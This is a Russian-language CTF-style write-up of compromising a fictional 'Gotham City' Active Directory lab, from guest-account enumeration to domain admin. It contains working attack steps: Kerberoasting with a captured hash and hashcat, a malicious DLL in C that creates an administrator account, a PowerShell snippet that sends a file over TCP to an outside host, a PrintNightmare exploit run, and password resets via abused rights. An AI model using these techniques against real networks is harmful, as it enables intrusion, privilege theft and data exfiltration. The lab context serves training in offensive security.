Gotham City - Active Directory Lab
В этой лабораторной работе вы узнаете, как использовать мощный инструмент NetExec для эффективного компрометирования домена Active Directory во время внутреннего пентеста.
Для тех, кто не знаком с данным инструментом, информации о нем полно в сети, но главное знакомство это официальная документация об инструменте, ознакомиться с которой можно здесь.
Разведка и сбор информации о цели.
Общая информация о цели, как вы могли заметить, здесь стоят сервера 2022.
Добавляем имена доменов и полученные ip адреса в наш /etc/hosts.
Проверяем сетку на Null sessions.
Но мы сделаем немного по другому, мы попробуем добавить пользователя по умолчанию, а именно guest и посмотрим на результат.
Так отлично как мы можем видеть такой пользователь существует и имеет доступ ко всей сетке, отлично идем дальше и проверим какие общие ресурсы (shares) могут быть доступны.
Из вывода можно увидеть, что из списка выделяется один ресурс, в который мы попробуем заглянуть и посмотреть, что ценного там сможем найти.
По причине того, что NetExec не сможет нам помочь в подключение к общему ресурсу, мы воспользуемся иным инструментом под названием smbclient, он есть как встроенный, так и входит в состав всеми известного инструмента impacket в виде python скрипта.
Что мы видим по итогу, что есть какой-то исполняемый файл, и больше ни чего интересно там не найти.
Дисклеймер: На сколько я понял, этот файл содержит флаг, но что бы его добыть нужно обладать знаниями reverse engineering. Знания в этой сфере у меня есть, но сидеть и ковырять его мне было просто лень. В реальном кейсе такой исполняемы файл может быть полезен, т.к. может содержать КИ.
Поэтому оставляем его лежать дальше и идем по другому пути.
Теперь для того, что бы пройти дальше нам необходимо собрать информацию о пользователях, точнее найти пользователей домена. При null sessions мы не получим результатов, при добавлении флага --users в команде, что была выше показана, поэтому мы переберем директории.
nxc smb 192.168.56.0/24 -u 'guest' -p '' --rid-brute SMB 192.168.56.12 445 SRV02 [*] Windows Server 2022 Build 20348 x64 (name:SRV02) (domain:GOTHAM.CITY) (signing:False) (SMBv1:False) SMB 192.168.56.11 445 SRV01 [*] Windows Server 2022 Build 20348 x64 (name:SRV01) (domain:GOTHAM.CITY) (signing:False) (SMBv1:False) SMB 192.168.56.10 445 DC01 [*] Windows Server 2022 Build 20348 x64 (name:DC01) (domain:GOTHAM.CITY) (signing:True) (SMBv1:False) (Null Auth:True) SMB 192.168.56.12 445 SRV02 [+] GOTHAM.CITY\guest: SMB 192.168.56.11 445 SRV01 [+] GOTHAM.CITY\guest: SMB 192.168.56.10 445 DC01 [+] GOTHAM.CITY\guest: SMB 192.168.56.12 445 SRV02 500: SRV02\Administrator (SidTypeUser) SMB 192.168.56.12 445 SRV02 501: SRV02\Guest (SidTypeUser) SMB 192.168.56.12 445 SRV02 503: SRV02\DefaultAccount (SidTypeUser) SMB 192.168.56.12 445 SRV02 504: SRV02\WDAGUtilityAccount (SidTypeUser) SMB 192.168.56.12 445 SRV02 513: SRV02\None (SidTypeGroup) SMB 192.168.56.11 445 SRV01 500: SRV01\Administrator (SidTypeUser) SMB 192.168.56.11 445 SRV01 501: SRV01\Guest (SidTypeUser) SMB 192.168.56.11 445 SRV01 503: SRV01\DefaultAccount (SidTypeUser) SMB 192.168.56.11 445 SRV01 504: SRV01\WDAGUtilityAccount (SidTypeUser) SMB 192.168.56.11 445 SRV01 513: SRV01\None (SidTypeGroup) SMB 192.168.56.12 445 SRV02 1000: SRV02\vagrant (SidTypeUser) SMB 192.168.56.11 445 SRV01 1000: SRV01\vagrant (SidTypeUser) SMB 192.168.56.10 445 DC01 498: GOTHAM\Enterprise Read-only Domain Controllers (SidTypeGroup) SMB 192.168.56.10 445 DC01 500: GOTHAM\Administrator (SidTypeUser) SMB 192.168.56.10 445 DC01 501: GOTHAM\Guest (SidTypeUser) SMB 192.168.56.10 445 DC01 502: GOTHAM\krbtgt (SidTypeUser) SMB 192.168.56.10 445 DC01 512: GOTHAM\Domain Admins (SidTypeGroup) SMB 192.168.56.10 445 DC01 513: GOTHAM\Domain Users (SidTypeGroup) SMB 192.168.56.10 445 DC01 514: GOTHAM\Domain Guests (SidTypeGroup) SMB 192.168.56.10 445 DC01 515: GOTHAM\Domain Computers (SidTypeGroup) SMB 192.168.56.10 445 DC01 516: GOTHAM\Domain Controllers (SidTypeGroup) SMB 192.168.56.10 445 DC01 517: GOTHAM\Cert Publishers (SidTypeAlias) SMB 192.168.56.10 445 DC01 518: GOTHAM\Schema Admins (SidTypeGroup) SMB 192.168.56.10 445 DC01 519: GOTHAM\Enterprise Admins (SidTypeGroup) SMB 192.168.56.10 445 DC01 520: GOTHAM\Group Policy Creator Owners (SidTypeGroup) SMB 192.168.56.10 445 DC01 521: GOTHAM\Read-only Domain Controllers (SidTypeGroup) SMB 192.168.56.10 445 DC01 522: GOTHAM\Cloneable Domain Controllers (SidTypeGroup) SMB 192.168.56.10 445 DC01 525: GOTHAM\Protected Users (SidTypeGroup) SMB 192.168.56.10 445 DC01 526: GOTHAM\Key Admins (SidTypeGroup) SMB 192.168.56.10 445 DC01 527: GOTHAM\Enterprise Key Admins (SidTypeGroup) SMB 192.168.56.10 445 DC01 553: GOTHAM\RAS and IAS Servers (SidTypeAlias) SMB 192.168.56.10 445 DC01 571: GOTHAM\Allowed RODC Password Replication Group (SidTypeAlias) SMB 192.168.56.10 445 DC01 572: GOTHAM\Denied RODC Password Replication Group (SidTypeAlias) SMB 192.168.56.10 445 DC01 1000: GOTHAM\vagrant (SidTypeUser) SMB 192.168.56.10 445 DC01 1001: GOTHAM\DC01$ (SidTypeUser) SMB 192.168.56.10 445 DC01 1102: GOTHAM\DnsAdmins (SidTypeAlias) SMB 192.168.56.10 445 DC01 1103: GOTHAM\DnsUpdateProxy (SidTypeGroup) SMB 192.168.56.10 445 DC01 1104: GOTHAM\SRV01$ (SidTypeUser) SMB 192.168.56.10 445 DC01 1105: GOTHAM\SRV02$ (SidTypeUser) SMB 192.168.56.10 445 DC01 1106: GOTHAM\bruce.wayne (SidTypeUser) SMB 192.168.56.10 445 DC01 1107: GOTHAM\joker (SidTypeUser) SMB 192.168.56.10 445 DC01 1108: GOTHAM\alfred.pennyworth (SidTypeUser) SMB 192.168.56.10 445 DC01 1109: GOTHAM\selina.kyle (SidTypeUser) SMB 192.168.56.10 445 DC01 1110: GOTHAM\harvey.dent (SidTypeUser) SMB 192.168.56.10 445 DC01 1111: GOTHAM\jim.gordon (SidTypeUser) SMB 192.168.56.10 445 DC01 1112: GOTHAM\lucius.fox1337 (SidTypeUser) SMB 192.168.56.10 445 DC01 1113: GOTHAM\barbara.gordon (SidTypeUser) SMB 192.168.56.10 445 DC01 1114: GOTHAM\oswald.cobblepot (SidTypeUser) SMB 192.168.56.10 445 DC01 1115: GOTHAM\edward.nygma (SidTypeUser) SMB 192.168.56.10 445 DC01 1116: GOTHAM\bane (SidTypeUser) SMB 192.168.56.10 445 DC01 1117: GOTHAM\victor.freeze (SidTypeUser) SMB 192.168.56.10 445 DC01 1118: GOTHAM\harley.quinn (SidTypeUser) SMB 192.168.56.10 445 DC01 1119: GOTHAM\dick.grayson (SidTypeUser) SMB 192.168.56.10 445 DC01 1120: GOTHAM\jason.todd (SidTypeUser) SMB 192.168.56.10 445 DC01 1121: GOTHAM\tim.drake (SidTypeUser) SMB 192.168.56.10 445 DC01 1122: GOTHAM\talia.al.ghul (SidTypeUser) SMB 192.168.56.10 445 DC01 1123: GOTHAM\rachel.dawes (SidTypeUser) SMB 192.168.56.10 445 DC01 1124: GOTHAM\ras.al.ghul (SidTypeUser) SMB 192.168.56.10 445 DC01 1125: GOTHAM\scarecrow (SidTypeUser) SMB 192.168.56.10 445 DC01 1126: GOTHAM\poison.ivy (SidTypeUser) SMB 192.168.56.10 445 DC01 1127: GOTHAM\black.mask (SidTypeUser) SMB 192.168.56.10 445 DC01 1128: GOTHAM\killer.croc (SidTypeUser) SMB 192.168.56.10 445 DC01 1129: GOTHAM\deadshot (SidTypeUser) SMB 192.168.56.10 445 DC01 1130: GOTHAM\gmsa-robin$ (SidTypeUser) Running nxc against 256 targets ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ 100% 0:00:00
Что бы не мучиться с фильтрацией воспользуемся регулярными выражениями и командами Linux.
nxc smb 192.168.56.10 -u 'guest' -p '' --rid-brute | awk -F ' ' '{print $6}'| sed -e 's/^GOTHAM\\//g'
Windows
GOTHAM.CITY\guest:
Enterprise
Administrator
Guest
krbtgt
Domain
Domain
Domain
Domain
Domain
Cert
Schema
Enterprise
Group
Read-only
Cloneable
Protected
Key
Enterprise
RAS
Allowed
Denied
vagrant
DC01$
DnsAdmins
DnsUpdateProxy
SRV01$
SRV02$
bruce.wayne
joker
alfred.pennyworth
selina.kyle
harvey.dent
jim.gordon
lucius.fox1337
barbara.gordon
oswald.cobblepot
edward.nygma
bane
victor.freeze
harley.quinn
dick.grayson
jason.todd
tim.drake
talia.al.ghul
rachel.dawes
ras.al.ghul
scarecrow
poison.ivy
black.mask
killer.croc
deadshot
gmsa-robin$И вот что мы получаем на выходе. Далее нам просто необходимо скопировать только пользователей и сохранить в отдельный файл.
Далее нам предстоит проверить валидность данных пользователей, для этого мы будем использовать не менее известный инструмент как Kerbrute.
Проверяем возможность проведения атаки типа AS-REP Roasting.
Теперь проверим на возможность првоедения атаки типа Kerberoasting.
Как мы видим у нас есть результаты. Это хорошо.
Попробуем поломать полученных хеши.
hashcat -m 13100 '$krb5tgs$23$*joker$GOTHAM.CITY$joker*$6fff58db18ad39f0f63a4792d0148adb$47d1c0b45e873285d5f70ebf5e636a61671c98291dc4aff2f60f1fe2e65cfc2d18391984a79bb33a58231738b75dac3936d6616821c3822b681d9039cc2ecb047164e911643d5fc35e554dbe22b6c5aade0a06fd179705deff77a1797368be35c654c7d8b715e5e68af9ebae886b3174b04f61accd20eaa63ca425e6ffadc0f81bee60e005586a5615105cf5619011d8dc00859cc77efeebf5a99cf1a26907fc9ad3a047f794efafce8cac9f345ee3f79c64e6a08a83e6fbd1e2609bf8644a56fe40c42425951990a24232a7e624cada2eb14c69d269dd0b7e2de3d87cd692e93e784e226bbbcae19f9ed563c4a824da1cba3325df924e7704517dda89341c2b70ae74c8665ab820918f0c077d441907ac7a116b3279c4533b5cb31295d919d8.......1c565230bbceaf49d40308b0e1660731d4a1ba7aeefca67a3c2164e835b39f4795aa13c5a47cbb61cf1a58d458bd18d3de5b1b9897f2ec0e8fa73ae325c060a135148b2d2149360e' /usr/share/wordlists/rockyou.txt
По окончание работы hashcat мы получим первые креды для дальнейшего продвижения.
Имея УЗ пользователя домена, воспользуемся еще одним инструментом под названием bloodhound.
И так теперь у нас есть архив в котором содержится информация об Active Directory, которую можно загрузить в bloodhound и посмотреть топологию сети в графе.
Но я воспользовался немного другим вариантом данного инструмента, ознакомиться с ним можно здесь.
python3 automate_blood.py ~/BarbHack/*.zip -a -f users [INFO] Reading data from ZIP... === DETECTED ENTITIES === - Total entities: 108 Breakdown: • Users: 30 • Computers: 3 • Groups: 52 • Containers: 19 • Ous: 1 • Domains: 1 • Gpos: 2 === POTENTIALLY CRITICAL ASSETS === - Kerberoastable accounts: 3 • GMSA-ROBIN$@GOTHAM.CITY (users) • JOKER@GOTHAM.CITY (users) • KRBTGT@GOTHAM.CITY (users) - AS-REP Roastable accounts: 0 (none) - AdminCount=true accounts: 16 • KRBTGT@GOTHAM.CITY (users) • VAGRANT@GOTHAM.CITY (users) • ADMINISTRATOR@GOTHAM.CITY (users) - Computers with obsolete OS: 0 (none) - Disabled admins: 1 • KRBTGT@GOTHAM.CITY (users) - Users with passwords that never expire: 27 • DEADSHOT@GOTHAM.CITY (users) • KILLER.CROC@GOTHAM.CITY (users) • BLACK.MASK@GOTHAM.CITY (users) • SCARECROW@GOTHAM.CITY (users) • RAS.AL.GHUL@GOTHAM.CITY (users) • POISON.IVY@GOTHAM.CITY (users) • RACHEL.DAWES@GOTHAM.CITY (users) • TIM.DRAKE@GOTHAM.CITY (users) • JASON.TODD@GOTHAM.CITY (users) • TALIA.AL.GHUL@GOTHAM.CITY (users) • DICK.GRAYSON@GOTHAM.CITY (users) • HARLEY.QUINN@GOTHAM.CITY (users) • VICTOR.FREEZE@GOTHAM.CITY (users) • BANE@GOTHAM.CITY (users) • EDWARD.NYGMA@GOTHAM.CITY (users) • OSWALD.COBBLEPOT@GOTHAM.CITY (users) • BARBARA.GORDON@GOTHAM.CITY (users) • LUCIUS.FOX1337@GOTHAM.CITY (users) • JIM.GORDON@GOTHAM.CITY (users) • HARVEY.DENT@GOTHAM.CITY (users) • ALFRED.PENNYWORTH@GOTHAM.CITY (users) • SELINA.KYLE@GOTHAM.CITY (users) • JOKER@GOTHAM.CITY (users) • BRUCE.WAYNE@GOTHAM.CITY (users) • VAGRANT@GOTHAM.CITY (users) • GUEST@GOTHAM.CITY (users) • ADMINISTRATOR@GOTHAM.CITY (users) === DETECTED RELATIONSHIPS === - Total relationships: 19 SRV01.GOTHAM.CITY (computers) --[ReadGMSAPassword]--> GMSA-ROBIN$@GOTHAM.CITY (users) GMSA-ROBIN$@GOTHAM.CITY (users) --[GenericAll]--> HARLEY.QUINN@GOTHAM.CITY (users) HARVEY.DENT@GOTHAM.CITY (users) --[GenericAll]--> KRBTGT@GOTHAM.CITY (users) HARVEY.DENT@GOTHAM.CITY (users) --[GenericAll]--> VAGRANT@GOTHAM.CITY (users) HARVEY.DENT@GOTHAM.CITY (users) --[GenericAll]--> ADMINISTRATOR@GOTHAM.CITY (users) HARVEY.DENT@GOTHAM.CITY (users) --[GenericAll]--> ENTERPRISE KEY ADMINS@GOTHAM.CITY (groups) HARVEY.DENT@GOTHAM.CITY (users) --[GenericAll]--> KEY ADMINS@GOTHAM.CITY (groups) HARVEY.DENT@GOTHAM.CITY (users) --[GenericAll]--> READ-ONLY DOMAIN CONTROLLERS@GOTHAM.CITY (groups) HARVEY.DENT@GOTHAM.CITY (users) --[GenericAll]--> ACCOUNT OPERATORS@GOTHAM.CITY (groups) HARVEY.DENT@GOTHAM.CITY (users) --[GenericAll]--> SERVER OPERATORS@GOTHAM.CITY (groups) HARVEY.DENT@GOTHAM.CITY (users) --[GenericAll]--> DOMAIN ADMINS@GOTHAM.CITY (groups) HARVEY.DENT@GOTHAM.CITY (users) --[GenericAll]--> ENTERPRISE ADMINS@GOTHAM.CITY (groups) HARVEY.DENT@GOTHAM.CITY (users) --[GenericAll]--> SCHEMA ADMINS@GOTHAM.CITY (groups) HARVEY.DENT@GOTHAM.CITY (users) --[GenericAll]--> DOMAIN CONTROLLERS@GOTHAM.CITY (groups) HARVEY.DENT@GOTHAM.CITY (users) --[GenericAll]--> REPLICATOR@GOTHAM.CITY (groups) HARVEY.DENT@GOTHAM.CITY (users) --[GenericAll]--> BACKUP OPERATORS@GOTHAM.CITY (groups) HARVEY.DENT@GOTHAM.CITY (users) --[GenericAll]--> PRINT OPERATORS@GOTHAM.CITY (groups) HARVEY.DENT@GOTHAM.CITY (users) --[GenericAll]--> ADMINISTRATORS@GOTHAM.CITY (groups) HARVEY.DENT@GOTHAM.CITY (users) --[GenericAll]--> ADMINSDHOLDER@GOTHAM.CITY (containers)
Я сразу сделал фильтрацию по пользователям. И мы получаем дополнительную информацию, к которой мы еще вернемся, но чуть позже.
Сейчас мы проверим наши полученные УЗ на получение удаленного доступа.
Далее для удаленного подключения я буду использовать программу Remmina.
Это все, что на данный момент у нас есть, теперь можно пойти несколькими путями:
Я загрузил на машину жертвы PowerUP.ps1 и запустил его.
PS C:\tmp> powershell.exe -ep bypass .\PowerUP.ps1
PS C:\tmp> Import-Module .\PowerUP.ps1
PS C:\tmp> . .\PowerUP.ps1
PS C:\tmp> Invoke-AllChecks
ServiceName : edgeupdate
Path : "C:\Program Files (x86)\Microsoft\EdgeUpdate\MicrosoftEdgeUpdate.exe" /svc
ModifiableFile : C:\
ModifiableFilePermissions : AppendData/AddSubdirectory
ModifiableFileIdentityReference : BUILTIN\Users
StartName : LocalSystem
AbuseFunction : Install-ServiceBinary -Name 'edgeupdate'
CanRestart : False
Name : edgeupdate
Check : Modifiable Service Files
ServiceName : edgeupdate
Path : "C:\Program Files (x86)\Microsoft\EdgeUpdate\MicrosoftEdgeUpdate.exe" /svc
ModifiableFile : C:\
ModifiableFilePermissions : WriteData/AddFile
ModifiableFileIdentityReference : BUILTIN\Users
StartName : LocalSystem
AbuseFunction : Install-ServiceBinary -Name 'edgeupdate'
CanRestart : False
Name : edgeupdate
Check : Modifiable Service Files
ServiceName : edgeupdatem
Path : "C:\Program Files (x86)\Microsoft\EdgeUpdate\MicrosoftEdgeUpdate.exe" /medsvc
ModifiableFile : C:\
ModifiableFilePermissions : AppendData/AddSubdirectory
ModifiableFileIdentityReference : BUILTIN\Users
StartName : LocalSystem
AbuseFunction : Install-ServiceBinary -Name 'edgeupdatem'
CanRestart : False
Name : edgeupdatem
Check : Modifiable Service Files
ServiceName : edgeupdatem
Path : "C:\Program Files (x86)\Microsoft\EdgeUpdate\MicrosoftEdgeUpdate.exe" /medsvc
ModifiableFile : C:\
ModifiableFilePermissions : WriteData/AddFile
ModifiableFileIdentityReference : BUILTIN\Users
StartName : LocalSystem
AbuseFunction : Install-ServiceBinary -Name 'edgeupdatem'
CanRestart : False
Name : edgeupdatem
Check : Modifiable Service Files
ServiceName : WayneService
Path : C:\Wayne\wayne.exe
StartName : LocalSystem
AbuseFunction : Invoke-ServiceAbuse -Name 'WayneService'
CanRestart : True
Name : WayneService
Check : Modifiable Services
ModifiablePath : C:\Users\joker\AppData\Local\Microsoft\WindowsApps
IdentityReference : GOTHAM\joker
Permissions : {WriteOwner, Delete, WriteAttributes, Synchronize...}
%PATH% : C:\Users\joker\AppData\Local\Microsoft\WindowsApps
Name : C:\Users\joker\AppData\Local\Microsoft\WindowsApps
Check : %PATH% .dll Hijacks
AbuseFunction : Write-HijackDll -DllPath 'C:\Users\joker\AppData\Local\Microsoft\WindowsApps\wlbsctrl.dll'
UnattendPath : C:\Windows\Panther\Unattend.xml
Name : C:\Windows\Panther\Unattend.xml
Check : Unattended Install Files
PS C:\tmp> И так у нас появилась точка опоры для поднятия привилегий.
Из вывода можно понять, что мы можем произвести атаку типа DLL Hijacking.
$ip = "192.168.56.116" $port = 1337 $file = "C:\Users\Public\wayne.exe" $client = New-Object System.Net.Sockets.TcpClient($ip, $port) $stream = $client.GetStream() [byte[]]$bytes = Get-Content $file -Encoding Byte -ReadCount 0 $stream.Write($bytes, 0, $bytes.Length) $stream.Close() $client.Close()
Для того, что бы понять какую именно библиотеку необходимо подгрузить, мне пришлось поднять еще одну машину, только уже на базе Windows, там же я установил программу Porcess Monitor, для отслеживания работы программы и того какие dll ему нужны для корректной работы.
Из вывода видно, что для корректной рабооты программы wayne.exe необходимо иметь dll с названием alfred.dll, которая в свою очередь так же должна была храниться в одной папке с исполняемым файлом.
Перейдем к созданию самой dll, для этого есть много хороших статей, которые могут вам предоставить "скелет" кода для dll.
Для создания dll код был взять здесь и здесь.
//Another possible DLL
// i686-w64-mingw32-gcc windows_dll.c -shared -o output.dll
#include<windows.h>
#include<stdlib.h>
BOOL APIENTRY DllMain (HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved) {
switch (ul_reason_for_call){
case DLL_PROCESS_ATTACH:
system("net user pentester Passw0rd1! /add");
system("net localgroup administrators pentester /add");
break;
case DLL_THREAD_ATTACH:
case DLL_THREAD_DETACH:
case DLL_PROCESS_DETACH: # в оригинале DEATCH что является опечаткой
break;
}
return TRUE;
}Если посмотрите на код, то увидите, что созданная нами dll просто добавляет пользователя в систему и в группу администраторов.
На скрине ниже показано, как отрабатывает наша dll и мы можем наблюдать, что теперь у нас есть наш пользователь.
Посмотрим, на что способен созданный нами пользователь и попробуем сделать Dump LSA.
Как мы видим у нас все получилось и если вы сейчас глядя на скрин скажите. Что все, вот наш Administrator, вот его хеш, то могу вас сразу не обрадовать, он не будет валидным...
Сейчас внимательно посмотрите на скрин, и обратите внимание на запись GMSA.
И так, у нас присутствует групповая учетная запись службы gMSA, но мы не знаем кому она принадлежит, так давайте выясним это. Для этого обратимся к документации NetExec, надеюсь как пользоваться поисковиком рассказывать не стоит.
Нужный нам пользователь найден.
А теперь если вы вспомните, то я писал, что в скором времени мы вернемся к выводу bloodhound, так вот время настало.
Интересная запись, а интересующий нас пользователь обладает правами GenericALL.
В теории, обладая такими правами мы можем попытаться изменить пароль другому пользователю, в нашем случае таким пользователем является harly.quin.
Как мы можем видеть, у нас получилось изменить пароль и тем самым мы получи доступ на SRV02.
Подключаемся к серверу и осмтриваем машину, на предмет интересных файлов.
Нам необходимо провести анализ на возможные вектора атак при помощи NeteExec.
Таким не хитрым способом мы нашли уязвимость, только, как и прежде не спешите радоваться, т.к. данная уязвимость не работает удалённо, поэтому будем ее реализовывать локально.
powershell.exe -ExecutionPolicy Bypass -NoProfile -File .\CVE-2021-34527.ps1 Set-ExecutionPolicy -Scope Process -ExecutionPolicy Bypass
По окончанию работы скрипт создаст пользователя и пароль.
После чего мы можем проверить наши права на машине и воспользовавшись еще одним модулем NetExec мы получаем пароль пользователя harvey.dent.
Снова вернемся к нашему выводу bloodhound и обратим снимание на строку указанную на скрине.
Хорошо, значит в теории мы можем поднять права на данной машине.
Проверим теорию на практике с применением инструмента bloodyAD.
И да! Мы получили права доменного администратора и захватили полностью всю лабораторию.